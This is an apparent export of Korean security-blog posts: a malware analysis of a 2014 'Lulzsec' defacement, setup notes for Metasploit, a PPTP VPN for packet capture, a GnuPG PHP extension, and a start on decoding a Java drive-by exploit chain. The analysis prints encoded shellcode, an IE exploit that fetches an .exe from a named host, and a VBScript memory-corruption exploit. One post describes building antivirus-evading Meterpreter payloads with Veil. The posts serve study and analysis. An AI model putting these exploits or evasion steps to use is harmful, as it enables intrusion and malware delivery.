ng21E7dadong1203dadong1FF3dadong71A9dadongA220dadong75CDdadongE112dadongFA12dadongEDAAdadongD9A2dadong5C75dadong1F28dadong3DA8dadongA220dadong25E1dadongD3CAdadongEDAAdadongF8AAdadongE2A2dadong1231dadong1FE1dadong62E6dadong200Ddadong2121dadong7021dadong7172dadong7171dadong7171dadong7671dadongC971dadong2218dadong2121dadong38C9dadong2121dadong4521dadong2580dadong2121dadongAC21dadong4181dadongDEDEdadongC9DEdadong2216dadong2121dadongFA12dadong7272dadong7272dadongF1DEdadong19A1dadongA1C9dadongC819dadong2E54dadong59A0dadongB124dadongB1B1dadong55B1dadong7427dadongCDAAdadong61ACdadongDE24dadongC9C1dadongDE0FdadongDEDEdadongC9E2dadongDE09dadongDEDEdadong3099dadong2520dadongE3A1dadong212Ddadong3AC9dadongDEDEdadong12DEdadong71E1dadongC975dadong2175dadong2121dadongC971dadong23AAdadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong2360dadong2121dadongDE12dadongDE76dadongC9F1dadong20DAdadong2121dadongDE49dadong2121dadongDE21dadongC9F1dadongDFC9dadongDEDEdadong7672dadong1277dadong71E1dadongC975dadong213Fdadong2121dadongC971dadong2374dadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong232Adadong2121dadongDE12dadongDE76dadong79F1dadong7E7FdadongE27Adadong23CAdadongE279dadongD8C9dadongDEDEdadong77DEdadongA276dadong29CDdadongDDAAdadong294Bdadong1F76dadong56DEdadongC935dadong237Cdadong2121dadongF1DEdadongDDAAdadong4049dadong444Cdadong4921dadong6468dadong5367dadongD5AAdadong2998dadong2121dadongD221dadong5487dadong4B0Edadong1F21dadong55DEdadong0105dadong05C9dadong2123dadongDE21dadongAAF1dadongC9D9dadong20EAdadong2121dadongF1DEdadongD91Adadong2955dadongAA17dadong0565dadong1F01dadong21DEdadongDE1Fdadong0555dadongC93Ddadong20CEdadong2121dadongF1DEdadongE5A2dadong7E31dadong997Fdadong2120dadong2121dadong49E2dadong4F4Edadong2121dadong5449dadong4D53dadongCA4CdadongAC34dadong0565dadong7125dadong03C9dadongDEDFdadong71DEdadong6BC9dadong2123dadongC821dadongDFC3dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong29E5dadong4BE2dadong494Ddadong554Fdadong4D45dadong34CAdadong65ACdadong2505dadongC971dadongDCDAdadongDEDEdadongC971dadong2302dadong2121dadong9AC8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong1249dadong2113dadong4921dadong5254dadong5344dadong34CAdadong65ACdadong2505dadongC971dadongDCF0dadongDEDEdadongC971dadong20D8dadong2121dadongB0C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong4249dadong5657dadong4921dadong4952dadong4E45dadong34CAdadong65ACdadong2505dadongC971dadongDC86dadongDEDEdadongC971dadong20EEdadong2121dadong46C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong5749dadong5946dadongCA21dadongAC34dadong0565dadong7125dadongA3C9dadongDEDCdadong71DEdadong8BC9dadong2120dadongC821dadongDF63dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong25E5dadongC9E2dadong208Adadong2121dadong3A49dadong67E7dadong7158dadongE7C9dadong2120dadongA221dadong29E5dadongC9E2dadong20B6dadong2121dadongCD49dadong22B6dadong712Ddadong93C9dadong2120dadongA221dadong29E5dadongC9E2dadong20A2dadong2121dadong8B49dadong2CDDdadong715DdadongBFC9dadong2120dadongA221dadong29E5dadongC9E2dadong204Edadong2121dadongCC49dadongCE77dadong7117dadongABC9dadong2120dadongA221dadong29E5dadongC9E2dadong207Adadong2121dadongD149dadong25ABdadong717Edadong57C9dadong2120dadongA221dadong29E5dadongC9E2dadongDFD6dadongDEDEdadong5949dadongFA49dadong713Ddadong43C9dadong2120dadongA221dadong29E5dadongC9E2dadong2012dadong2121dadongCE49dadongC1EFdadong7141dadong6FC9dadong2120dadongA221dadong29E5dadongC9E2dadong203Edadong2121dadong9149dadong0C68dadong71FAdadong1BC9dadong2120dadongA221dadong29E5dadongC9E2dadongDE17dadongDEDEdadong8A49dadongBA7Fdadong713Fdadong07C9dadong2120dadongA221dadong29E5dadongC9E2dadongDF86dadongDEDEdadong7849dadongA0B6dadong7123dadong33C9dadong2120dadongA221dadong29E5dadongC9E2dadong21C2dadong2121dadong5F49dadongC3F9dadong7152dadongDFC9dadong2121dadongA221dadong29E5dadongC9E2dadong21EEdadong2121dadongBF49dadong9AD8dadong7114dadongCBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDFB3dadongDEDEdadong7649dadong9481dadong719AdadongF7C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF5FdadongDEDEdadong3B49dadong3F5Bdadong7123dadongE3C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF4BdadongDEDEdadongC149dadong117Adadong71B5dadong8FC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF77dadongDEDEdadongB649dadongC3E8dadong7182dadongBBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF63dadongDEDEdadong4949dadongE405dadong7192dadongA7C9dadong2121dadongA221dadong29E5dadongC9E2dadong2176dadong2121dadong5349dadong92DFdadong7137dadong53C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF65dadongDEDEdadong32CAdadong444BdadongC971dadongDAD6dadongDEDEdadongC971dadongDF8AdadongDEDEdadong96C8dadongDEDDdadongC9DEdadongDEC9dadongDEDEdadongC9E2dadongDC88dadongDEDEdadong6E49dadong6ECEdadong7124dadong1FC9dadong2121dadongA221dadong29E5dadongC9E2dadong212Edadong2121dadongAF49dadong2F6Fdadong71CDdadong0BC9dadong2121dadongA221dadong29E5dadong12E2dadong45E1dadong61AAdadongA411dadong59E1dadong1F31dadong61AAdadong1F2Ddadong51AAdadong8C3DdadongAA1Fdadong2961dadongCAE2dadong1F2Adadong61AAdadongA215dadong5DE1dadongAA1Fdadong1D61dadong41E2dadongAA17dadong054Ddadong1705dadong64AAdadong171Ddadong75AAdadong5924dadongF422dadongAA1Fdadong396BdadongAA1Fdadong017BdadongFC22dadong1AC2dadong1F68dadong15AAdadong22AAdadong12D4dadong12DEdadongDDE1dadongA58Ddadong55E1dadongE026dadong2CEEdadongD922dadongD5CAdadong1A17dadong055Ddadong5409dadong1FFEdadong7BAAdadong2205dadong47FCdadongAA1Fdadong6A2DdadongAA1Fdadong3D7BdadongFC22dadongAA1FdadongAA25dadongE422dadongA817dadong0565dadong403DdadongC9E2dadongDA47dadongDEDEdadong5549dadong5155dadong0E1Bdadong560Edadong5656dadong430Fdadong4840dadong444Adadong0F42dadong4F42dadong450Edadong564Edadong0E4Fdadong4E4Adadong440Fdadong4459dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong0021\u0026#34;); sleep(3000); nav=navigator.userAgent.toLowerCase(); if(navigator.appVersion.indexOf(\u0026#39;MSIE\u0026#39;)!=-1) { version=parseFloat(navigator.appVersion.split(\u0026#39;MSIE\u0026#39;)[1]) } if(version==7) { w2k3=((nav.indexOf(\u0026#39;windows nt 5.2\u0026#39;)!=-1)||(nav.indexOf(\u0026#39;windows 2003\u0026#39;)!=-1)); wxp=((nav.indexOf(\u0026#39;windows nt 5.1\u0026#39;)!=-1)||(nav.indexOf(\u0026#39;windows xp\u0026#39;)!=-1)); if(wxp||w2k3)document.write(\u0026#39;\u0026lt;XML ID=I\u0026gt;\u0026lt;X\u0026gt;\u0026lt;C\u0026gt;\u0026lt;![CDATA[\u0026lt;image SRC=http://rਊr.book.com src=\u0026#34;http://asd88.shfwk22.com/asp88.exe\u0026#34;]]\u0026gt;\u0026lt;![CDATA[\u0026gt;]]\u0026gt;\u0026lt;/C\u0026gt;\u0026lt;/X\u0026gt;\u0026lt;/xml\u0026gt;\u0026lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML\u0026gt;\u0026lt;XML ID=I\u0026gt;\u0026lt;/XML\u0026gt;\u0026lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML\u0026gt;\u0026lt;/SPAN\u0026gt;\u0026#39;); var i=1; while(i\u0026lt;=10) { window.status=\u0026#34; \u0026#34;; i++ } } \u0026lt;/script\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;span id=\u0026#34;sp1\u0026#34;\u0026gt;\u0026lt;IMG SRC=\u0026#34;wm.gif\u0026#34; onload=\u0026#34;ev1(event)\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 위 코드는 CVE-2010-1175 취약점 입니다. 그리고 아래 일부 코드는 과거 오로라로 명칭 되었던 CVE-2010-0249 취약점 코드의 일부도 보입니다. 제 생각으로는 그냥 이것저것 막 주워다 쓴게 아닐까 추측합니다...\n또한 두번째 참고사이트 Kwan's blog 글을 보시면 동일한 코드가 나오며 실행되는 악성코드 파일명은 svchost.exe임을 알 수 있습니다.\n[참고 사이트] o CVE-2010-1175(Exploit-DB) : http://www.exploit-db.com/exploits/35229/ o Kwan's blog : http://power4247.tistory.com/m/post/253\nCVE-2014-6322 취약점? 이 부분은 그냥 공개된 POC 코드(http://www.exploit-db.com/exploits/35229/)를 그대로 옮겨쓴 코드로 실제 악성행위는 하지 않습니다. 일부 언론에서는 Lulzsec이 국내 사이트들을 공격 후 해당 취약점으로 악성코드를 유포 했다고 기사를 썼으나 제가 분석한 코드에서는 해당 취약점이 아닌 'vbs 난독화 부분'의 CVE-2010-1175 코드로 인해 악성코드가 유포 되었을걸로 보입니다. 혹은 제가 보고 있는 샘플이 당시의 샘플이 아닐수도 있지만 난데없이 svchost.exe가 나온걸로 봐서는 위 'vbs 난독화 부분'에서 설명한 바와 같이 여기저기서 코드를 가져다 쓰면서 그냥 넣은것이 아닐까 추측됩니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 \u0026lt;SCRIPT LANGUAGE=\u0026#34;VBScript\u0026#34;\u0026gt; function runmumaa() On Error Resume Next set shell=createobject(\u0026#34;Shell.Application\u0026#34;) shell.ShellExecute \u0026#34;svchost.exe\u0026#34; end function \u0026lt;/script\u0026gt; \u0026lt;SCRIPT LANGUAGE=\u0026#34;VBScript\u0026#34;\u0026gt; dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,\u0026#34;Win64\u0026#34;)\u0026gt;0) then exit function end if if (instr(info,\u0026#34;MSIE\u0026#34;)\u0026gt;0) then intVersion = CInt(Mid(info, InStr(info, \u0026#34;MSIE\u0026#34;) + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray= chrw(01)\u0026amp;chrw(2176)\u0026amp;chrw(01)\u0026amp;chrw(00)\u0026amp;chrw(00)\u0026amp;chrw(00)\u0026amp;chrw(00)\u0026amp;chrw(00) myarray=myarray\u0026amp;chrw(00)\u0026amp;chrw(32767)\u0026amp;chrw(00)\u0026amp;chrw(0) if(intVersion\u0026lt;4) then document.write(\u0026#34;\u0026lt;br\u0026gt; IE\u0026#34;) document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then \u0026#39; document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+\u0026amp;h134) for k=0 to \u0026amp;h60 step 4 j=readmemo(i+\u0026amp;h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+\u0026amp;h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+\u0026amp;h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+\u0026amp;h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion\u0026lt;4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))\u0026lt;\u0026gt;0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))\u0026lt;\u0026gt;0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=\u0026amp;h2f66) Then Over=True End If If(type1=\u0026amp;hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function` \u0026lt;/script\u0026gt; 그 이외 부분 및 결론 그 이외 부분은 확인한 결과 어나니머스가 사용하던 코드를 그대로 가져와서 꾸민것으로 보였습니다. 즉, 그냥 어린 친구들이 장난한 것으로 보이네요. 공부삼아 분석하였으며 틀린 부분이 있으면 댓글 부탁 드립니다. 그럼 이만 ~\n","date":"2014-12-05T14:10:48Z","permalink":"/2014/12/05/%ED%95%9C%EA%B5%AD-lulzsec-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D/","title":"한국 Lulzsec 공격 분석"},{"content":" System Settings - Language Support로 이동하여 한글 언어를 추가해준다.\n재부팅을 한다.\n터미널에서 ibus-setup 을 실행후 'Input Method' 탭에서 한글 입력기를 추가 한다.\n터미널에서 xev 실행후 한영키를 입력하여 keycode 값을 확인한다.\n터미널을 연다음 사용자 계정폴더에 .Xmodmap 파일을 만들어 아래 내용을 작성한다.\n1 2 keycode 확인값 = Hangul remove mod1 = Alt_R 끝으로 다시 터미널에서 ibus-setup 실행후 키보드 변경키를 'Hangul' 로 변경한다.\n","date":"2014-02-11T12:31:28Z","permalink":"/2014/02/11/ubuntu-1310-%ED%95%9C%EC%98%81%ED%82%A4-%EC%84%A4%EC%A0%95/","title":"Ubuntu 13.10 한영키 설정"},{"content":"Ruby 2.1 버전 이상 설치가 필요하다.\n1 2 3 4 5 6 7 # Adds Ruby 2.2 to Ubuntu 14.04 sudo apt-add-repository ppa:brightbox/ruby-ng # Adds Ruby v1.9/2.0/2.1/2.2 to Ubuntu 14.04/15.04 # sudo add-apt-repository ppa:brightbox/ruby-ng-experimental sudo apt-get update sudo apt-get install ruby2.2 ruby2.2-dev 관련 패키지를 설치하도록 한다.\n1 sudo apt-get install bundler libpq-dev libpcap-dev libsqlite3-dev Metasploit을 다운로드 받는다\n1 git clone https://github.com/rapid7/metasploit-framework metasploit-framework Metasploit 폴더경로에서 'sudo bundle install' 명령어로 설치한다.\nMetasploit 폴더경로에서 'sudo ./msfconsole' 명령어로 실행한다!\n","date":"2014-02-07T15:35:18Z","permalink":"/2014/02/07/ubuntu%EC%97%90-metasploit-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/","title":"Ubuntu에 Metasploit 설치하기"},{"content":"스마트폰 3G 패킷 캡쳐방법에 대해 알아보다 확인한 내용을 기록 합니다. 방법은 3G 통신으로 VPN 서버로 연결, 그리고 VPN 서버측에서 패킷을 캡쳐하는 것입니다. 그럼 VPN 서버를 셋팅해 봅시다.\nPPTPD 설치 환경은 VMware에 설치된 Ubuntu 에서 작업 하였습니다. Network Adapter는 Bridged로 설정하여 공유기에 바로 연결합니다. 그럼 이제 pptp를 설치 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 tester@ubuntu:~$ sudo apt-get install pptpd [sudo] password for tester: Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: bcrelay The following NEW packages will be installed: bcrelay pptpd 0 upgraded, 2 newly installed, 0 to remove and 221 not upgraded. Need to get 95.1 kB of archives. After this operation, 338 kB of additional disk space will be used. Do you want to continue [Y/n]? y Get:1 http://us.archive.ubuntu.com/ubuntu/ raring/main bcrelay amd64 1.3.4-6ubuntu1 [11.5 kB] Get:2 http://us.archive.ubuntu.com/ubuntu/ raring/main pptpd amd64 1.3.4-6ubuntu1 [83.7 kB] Fetched 95.1 kB in 2s (47.1 kB/s) Selecting previously unselected package bcrelay. (Reading database ... 155358 files and directories currently installed.) Unpacking bcrelay (from .../bcrelay_1.3.4-6ubuntu1_amd64.deb) ... Selecting previously unselected package pptpd. Unpacking pptpd (from .../pptpd_1.3.4-6ubuntu1_amd64.deb) ... Processing triggers for man-db ... Processing triggers for ureadahead ... ureadahead will be reprofiled on next reboot Setting up bcrelay (1.3.4-6ubuntu1) ... Setting up pptpd (1.3.4-6ubuntu1) ... Starting PPTP Daemon: pptpd. Processing triggers for ureadahead ... IP 설정, \\'pptpd.conf\\' 파일 수정 이제 설정을 해봅시다. 설정 파일은 /etc/pptpd.conf 이며 제일 아래에 있는 아래 두줄만 수정합니다. 여기서 \\'localip\\'는 VPN 서버의 IP를 의미하고 \\'remoteip\\'는 VPN 서버로 연결되는 기기, 즉 스마트폰이 받을 IP를 의미합니다.\n1 2 localip 192.168.0.20 remoteip 192.168.0.100-200 계정 설정, \\'chap-secrets\\' 파일 수정 다음은 계정 설정입니다. 설정파일은 /etc/ppp/chap-secrets 파일 입니다. 이 파일을 동해 VPN 서버로 접속하기 위한 계정을 설정합니다. 전 아래와 같이 설정했습니다. \\'testtest\\'\n1 2 3 # Secrets for authentication using CHAP # client server secret IP addresses test * test * DNS 설정, \\'pptpd-options\\' 파일 수정 DNS 설정을 합니다. 설정파일은 /etc/ppp/pptpd-options 입니다. 다른 부분은 수정하지 말고 아래 두줄만 다음과 같이 수정합니다. DNS는 구글DNS로 설정했습니다.\n1 2 ms-dns 8.8.8.8 ms-dns 8.8.4.4 커널 IP forwarding 설정, \\'sysctl.conf\\' 파일 수정 커널에서 IP forwarding이 가능하도록 설정합니다. 설정파일은 \\'/etc/sysctl.conf\\' 이며 아래와 같이 주석을 제거 합니다.\n1 2 # Uncomment the next line to enable packet forwarding for IPv4 net.ipv4.ip_forward=1 그리고 바로 적용합니다.\n1 2 tester@ubuntu:~$ sudo sysctl -p net.ipv4.ip_forward = 1 pptpd 데몬 시작 이제 pptpd를 재시작 합니다. 1723 포트가 잘 올라왔는지 확인합니다.\n1 2 3 4 5 6 7 8 9 10 11 tester@ubuntu:~$ sudo /etc/init.d/pptpd restart Restarting PPTP: Stopping PPTP: pptpd. Starting PPTP Daemon: pptpd. tester@ubuntu:~$ netstat -nat Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:1723 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN 공유기 설정(포트포워딩) 1723 포트가 PPTP VPN 포트 입니다. 이제 공유기에서 포트 포워딩을 통해 설정을 하고 스마트폰에서 연결해 봅시다! 저는 IPTIME 공유기를 사용합니다. 다른 공유기 설정은 알아서들 하셔요 :-)\n설정은 \\'고급설정\\' - \\'NAT/라우터 관리\\' - \\'포트포워드 설정\\' 메뉴 입니다. 아래와 같이 설정 합니다. 여기서 내부 IP는 Ubuntu 내부 IP 입니다.\n스마트폰으로 접속 아이폰만 보유하고 있어 아이폰 기준으로 설정을 드리겠습니다. 먼저 \\'Settings\\' - \\'General\\' - \\'VPN\\' 메뉴로 들어서 VPN을 추가 합니다. 설정은 아래와 같이 합니다. 여기서 Server는 역시 공유기가 연결된 공인 IP로 하시면 됩니다.\n이제 VPN을 아래와 같이 켜면 연결이 됩니다. 아래와 같이 설정된 IP가 잘 셋팅이 되었는지 확인합니다.\n이제 패킷을 잡아보세요 ~\n","date":"2013-12-07T22:58:13Z","permalink":"/2013/12/07/%EC%8A%A4%EB%A7%88%ED%8A%B8%ED%8F%B0-3g-%ED%8C%A8%ED%82%B7-%EC%BA%A1%EC%B3%90%EB%B0%A9%EB%B2%95/","title":"스마트폰 3G 패킷 캡쳐방법"},{"content":"Veil를 언젠가 유용하게 쓸일이 있을거 같아 기록해 둔다.\nVeil는 https://github.com/veil-evasion/Veil 에서 다운로드 받는다. Metasploit 역시 http://downloads.metasploit.com/data/releases/framework-latest.tar.bz2 를 다운로드 한다. Metasploit은 /home/tester/msf3 에 Veil는 /home/tester/Veil-master 에 설치했다고 가정하고 진행한다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 tester@ubuntu:~$ sudo ln -s /home/tester/msf3/msfvenom /usr/bin/msfvenom tester@ubuntu:~$ cd Veil-master tester@ubuntu:~/Veil-master$ ./Veil.py ========================================================================= Veil | [Version]: 1.1.0 | [Updated]: 06.01.2013 ========================================================================= [?] What payload type would you like to use? 1 - Meterpreter - Python - void pointer 2 - Meterpreter - Python - VirtualAlloc() 3 - Meterpreter - Python - base64 Encoded 4 - Meterpreter - Python - Letter Substitution 5 - Meterpreter - Python - ARC4 Stream Cipher 6 - Meterpreter - Python - DES Encrypted 7 - Meterpreter - Python - AES Encrypted 8 - Meterpreter - C - void pointer 9 - Meterpreter - C - VirtualAlloc() 0 - Exit Veil [\u0026gt;] Please enter the number of your choice: 이와 같이 선택을 하여 생성하면 된다. 마지막 옵션은 Windows용 바이너리를 만들고자 하면 Py2Exe 리눅스 계열 바이너리를 만드로갖 하면 Pyinstaller를 선택하면 된다.\nPy2Exe를 선택했다면 setup.py, payload.py, runme.bat 파일이 생성된다. 이 3개의 파일을 윈도우 시스템으로 복사하여 C:\\Python27밑에 복사 후 runme.bat 를 실행한다. 그럼 payload.exe 파일이 생성됨을 볼 수 있다.\n단 실행 전 윈도우 시스템에 Python은 기본이며 Py2exe, PyCrypto가 설치되어 있어야 한다. Py2Exe : http://www.py2exe.org/ PyCrypto : http://www.voidspace.org.uk/python/modules.shtml#pycrypto\n출처 : http://cyberarms.wordpress.com/2013/06/04/creating-remote-shells-that-bypass-anti-virus-with-veil/\n","date":"2013-06-06T18:34:39Z","permalink":"/2013/06/06/creating-remote-shells-that-bypass-anti-virus-with-veil/","title":"Creating Remote Shells that Bypass Anti-Virus with \"Veil\""},{"content":"GnuPG를 php에서 사용 시 설치해야 할 패키지 입니다. 테스트는 Ubuntu 13.04 에서 실시하였습니다.\n먼저 Apache와 php를 설치합니다. 그리고 GnuPG 관련 패키지를 설치합니다.\n1 2 jjoon@ubuntu:~$ sudo apt-get install apache2 php5-dev php5 jjoon@ubuntu:~$ sudo apt-get install gnupg libgpgme11-dev libgpg-error-dev libassuan-dev 다음 pecl을 통해 php 확장 모듈을 설치합니다. 쉽게 \u0026quot;sudo pecl install gnupg\u0026quot; 하면 되겠지만 해보시면 아시겠지만 에러가 납니다. 열심히 구글링해서 찾아보니 패치가 있어 패치를 적용 후 설치하면 정상적으로 설치가 됩니다.\n1 2 3 jjoon@ubuntu:~$ pecl download gnupg jjoon@ubuntu:~$ tar xvfz gnupg-1.3.2.tgz jjoon@ubuntu:~$ cd gnupg-1.3.2 아래 URL에서 patch 파일을 받아 bug.patch 로 현재 디렉토리에 저장합니다. https://bugs.php.net/patch-display.php?bug_id=64375\u0026patch=patch\u0026revision=latest\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 jjoon@ubuntu:~/gnupg-1.3.2$ patch -p1 \u0026lt; bug.patch patching file gnupg.c patching file gnupg_keylistiterator.c jjoon@ubuntu:~/gnupg-1.3.2$ phpize Configuring for: PHP Api Version: 20100412 Zend Module Api No: 20100525 Zend Extension Api No: 220100525 jjoon@ubuntu:~/gnupg-1.3.2$ ./configure [생략] jjoon@ubuntu:~/gnupg-1.3.2$ make [생략] jjoon@ubuntu:~/gnupg-1.3.2$ sudo make install [생략] jjoon@ubuntu:~/gnupg-1.3.2$ sudo vi /etc/php5/apache2/php.ini 마지막 라인에 \u0026#34;extension=gnupg.so\u0026#34; 추가 이후 과정은 아래 페이지를 참고하여 코드를 작성하면 됩니다. http://www.php.net/manual/en/book.gnupg.php\n","date":"2013-04-29T09:06:42Z","permalink":"/2013/04/29/gnupg%EB%A5%BC-php%EC%97%90%EC%84%9C-%EC%82%AC%EC%9A%A9-%EC%8B%9C/","title":"GnuPG를 php에서 사용 시"},{"content":"최근 경향은 대부분 자바 취약점이네요. 간단하게 한번 디코딩 하여 살펴보았습니다.\n1 2 3 4 5 6 http://5b8.co/m L http://5b8.co/m/index.html L http://5b8.co/m/swfobject.js L http://5b8.co/m/jpg.js L http://5b8.co/m/jvTDIYE7.html L http://5b8.co/m/GAHNr0.html 원본 코드는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;swfobject.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=jpg.js\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; var YdgJw3=navigator.userAgent.toLowerCase(); var SPRB3=\u0026#34;1\u0026#34;+\u0026#34;1\u0026#34;+\u0026#34;1\u0026#34;; if(document.cookie.indexOf(\u0026#34;xcDHL4=\u0026#34;)==-1 \u0026amp;\u0026amp; YdgJw3.indexOf(\u0026#34;linux\u0026#34;)\u0026lt;=-1 \u0026amp;\u0026amp; YdgJw3.indexOf(\u0026#34;bot\u0026#34;)==-1 \u0026amp;\u0026amp; YdgJw3.indexOf(\u0026#34;spider\u0026#34;)==-1) { var pxtXtt1=deconcept.SWFObjectUtil.getPlayerVersion(); var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); SPRB3=\u0026#34;0\u0026#34;; document.cookie=\u0026#34;xcDHL4=Yes;path=/;expires=\u0026#34;+expires.toGMTString(); FTYdkdd0=\u0026#34;1\u0026#34;;delete FTYdkdd0;try{FTYdkdd0+=\u0026#34;0\u0026#34;+\u0026#34;0\u0026#34;+\u0026#34;0\u0026#34;+\u0026#34;0\u0026#34;+\u0026#34;0\u0026#34;+\u0026#34;0\u0026#34;+\u0026#34;0\u0026#34;+\u0026#34;0\u0026#34;;}catch(e){var Huaqmm1=\u0026#34;1\u0026#34;;XtpkDF6 = eval}aoiGBd6=unescape;QykQ0=\u0026#34;CDCE58A6CEDF76F89EC56AB8FEE77FE190E870AADBFF7FE68E9708AAF28671CE89F97BDA8FF97FD6EAEA259AAEB933DEBCB0349EA0AA709DBF8E1159B3CC1D3DBF860977B2880072CD86006393905E2CD79B082CCDD4451BF94DE368D758E9709F60EE5BC261E1454864F7443523F55C6670EE574279FB5B6E77D612287FC95A6A06833B1A2FCA6B785CDF6D7159986E4C55C33E4645CE71455D81704651A234542EA4445667B70D000AD85E5E79F64B6E61BE51616BE3506C678E577451874A70318D256169BC476A0FDB2D3F09CD072B599B7C05528C60510A5B79435F217E4911716E5968720A1B29280F0604044D2E63764F67692B426667695342776A126E6F504648117B2E65405A687A4A4B2030711C707F6E19770B121D3D02023312495272345A7C351B5E3F6956497F22445A65775869347D1B2E3A153E721A164C606B1D4C706D57255C4D5C2A78555E7E46426D24534A446244505D3A066B126A71646F7D1D1825371C3A0B2850632A0E5A66604E20696A12777C661B277275586F787A4232694F4E282C2C7D1A2F43623B01066F7043566D47490A2D16020A241C19183E0F5A6F7257206058093E39130B373C011F776C0C29687B5E61727C4C352A2D0E3D28121C373904277A4D4C637D5F123B2C1D003A11061472591310754659587749437C27000A322D062120041962654859686A527F30231B3321261B2E18104D0613685B7D3D45517D45476437180A60744A5B657A4346224043537153507F784E545B765B15277D433168454324211F360D6B47516F71482F787D54717B251638352735077C4F52757E406E7D464165715311242C090B072B4652260D54577C4D56586E1106712C010D353E13272645566B6E4759713017703B221E3338364E7B35325164777A5B6B651C032214163027050C223B4E41667B4C56741F0C072517060B3D02343463223767735D25654419627A47536E7A4D0229576D494166002B7968532B2C11326A744E58707B0A237A474D3F3B604368794A544D4E41506F41764062075450775E4862213C3565715B65674617766F527C7D7A58286F675A6639345668617B14273B764E7B6D18113C5651773947466578425A6D7E4F1C6F4C5C197B48471563444E107D57582235084C0E4458607D495E6978065D6474552F6E6440607D7C77617E